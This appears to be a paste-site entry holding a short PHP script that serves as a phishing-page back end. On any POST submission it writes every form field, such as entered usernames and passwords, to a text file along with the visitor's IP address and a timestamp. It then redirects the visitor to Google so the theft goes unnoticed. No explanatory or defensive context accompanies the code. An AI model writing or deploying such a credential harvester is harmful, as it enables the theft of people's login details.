Untitled
5 years ago in PHP
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: https://www.google.de/');
$handle = fopen('mail.txt', 'a');
fwrite($handle, '--------------------------['.$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME'].']---['.strtoupper(date("h:i:s a - Y/m/d")).']---['.$_SERVER['REMOTE_ADDR']."]\r\n");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable.': '.$value."\r\n");}
fclose($handle);
exit;
} ?>